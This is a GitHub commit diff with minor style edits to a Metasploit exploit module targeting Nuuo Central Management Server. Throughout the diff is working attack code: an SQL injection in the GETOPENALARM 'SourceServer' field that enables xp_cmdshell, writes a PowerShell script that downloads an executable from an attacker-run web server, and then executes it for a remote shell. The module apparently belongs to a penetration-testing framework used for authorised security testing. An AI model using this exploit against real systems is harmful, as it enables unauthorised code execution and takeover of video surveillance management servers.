Skip to content

Commit 73048ed

Browse files
committed
Minor updates
exploit:nuuo_cms_sqli
1 parent f5afe98 commit 73048ed

File tree

1 file changed

+23
-26
lines changed

1 file changed

+23
-26
lines changed

modules/exploits/windows/nuuo/nuuo_cms_sqli.rb

Lines changed: 23 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
1212

1313
def initialize(info={})
1414
super(update_info(info,
15-
'Name' => "Nuuo Central Management Authenticated SQL Server SQLi",
15+
'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi',
1616
'Description' => %q{
1717
The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.
1818
This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is
@@ -42,7 +42,7 @@ def initialize(info={})
4242
[ 'Nuuo Central Management Server <= v2.10.0', {} ],
4343
],
4444
'Privileged' => false, # we run as NETWORK_SERVICE
45-
'DisclosureDate' => "Oct 11 2018",
45+
'DisclosureDate' => 'Oct 11 2018',
4646
'DefaultTarget' => 0))
4747
register_options(
4848
[
@@ -53,7 +53,7 @@ def initialize(info={})
5353

5454

5555
def inject_sql(sql, final = false)
56-
sql = ["GETOPENALARM","DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
56+
sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
5757
if final
5858
nucs_send_msg_async(sql)
5959
else
@@ -63,12 +63,11 @@ def inject_sql(sql, final = false)
6363

6464
# Handle incoming requests from the server
6565
def on_request_uri(cli, request)
66-
#print_status("on_request_uri called: #{request.inspect}")
67-
if (not @pl)
66+
unless @pl
6867
print_error("A request came in, but the payload wasn't ready yet!")
6968
return
7069
end
71-
print_good("Sending the payload to CMS...")
70+
print_good('Sending the payload to CMS...')
7271
@exe_sent = true
7372
send_response(cli, @pl)
7473
end
@@ -85,28 +84,21 @@ def create_hex_cmd(cmd)
8584
def exploit
8685
nucs_login
8786

88-
if @nucs_session == nil
89-
fail_with(Failure::Unknown, "Failed to login to Nuuo CMS")
87+
unless @nucs_session
88+
fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS')
9089
end
9190

92-
downfile = rand_text_alpha(8+rand(8))
9391
@pl = generate_payload_exe
9492
@exe_sent = false
95-
resource_uri = '/' + downfile
93+
resource_uri = "/#{rand_text_alpha(8..16)}"
9694

9795
#do not use SSL
9896
if datastore['SSL']
9997
ssl_restore = true
10098
datastore['SSL'] = false
10199
end
102100

103-
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
104-
srv_host = Rex::Socket.source_address(rhost)
105-
else
106-
srv_host = datastore['SRVHOST']
107-
end
108-
109-
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
101+
service_url = "http://#{srvhost_addr}:#{srvport}#{resource_uri}"
110102
print_status("Starting up our web service on #{service_url} ...")
111103
start_service({'Uri' => {
112104
'Proc' => Proc.new { |cli, req|
@@ -120,24 +112,29 @@ def exploit
120112
# we need to roll our own here instead of using the MSSQL mixins
121113
# (tried that and it doesn't work)
122114
print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
123-
filename = rand_text_alpha_lower(rand(8) + 2) + ".exe"
124-
download_pl = %{xp_cmdshell 'cd C:\\windows\\temp\\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "#{service_url}" >> wget.ps1 && echo $file = "#{filename}" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}
125-
126-
print_status("Injecting PowerShell payload")
115+
filename = "#{rand_text_alpha_lower(8..10)}.exe"
116+
download_pl = %{xp_cmdshell }
117+
download_pl << %{'cd C:\\windows\\temp\\ && }
118+
download_pl << %{echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && }
119+
download_pl << %{echo $url = "#{service_url}" >> wget.ps1 && }
120+
download_pl << %{echo $file = "#{filename}" >> wget.ps1 && }
121+
download_pl << %{echo $webclient.DownloadFile($url,$file) >> wget.ps1 && }
122+
download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}
123+
124+
print_status('Injecting PowerShell payload')
127125
inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
128126

129127
counter = 0
130128
while (not @exe_sent || counter >= datastore['SLEEP'])
131-
sleep 1
129+
Rex.sleep(1)
132130
counter += 1
133131
end
134132

135-
if not @exe_sent
136-
fail_with(Failure::Unknown, "Could not get CMS to download the payload")
133+
unless @exe_sent
134+
fail_with(Failure::Unknown, 'Could not get CMS to download the payload')
137135
end
138136

139-
print_status("Executing shell...")
137+
print_status('Executing shell...')
140138
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{filename}\""), true)
141-
handler
142139
end
143140
end

0 commit comments

Comments
 (0)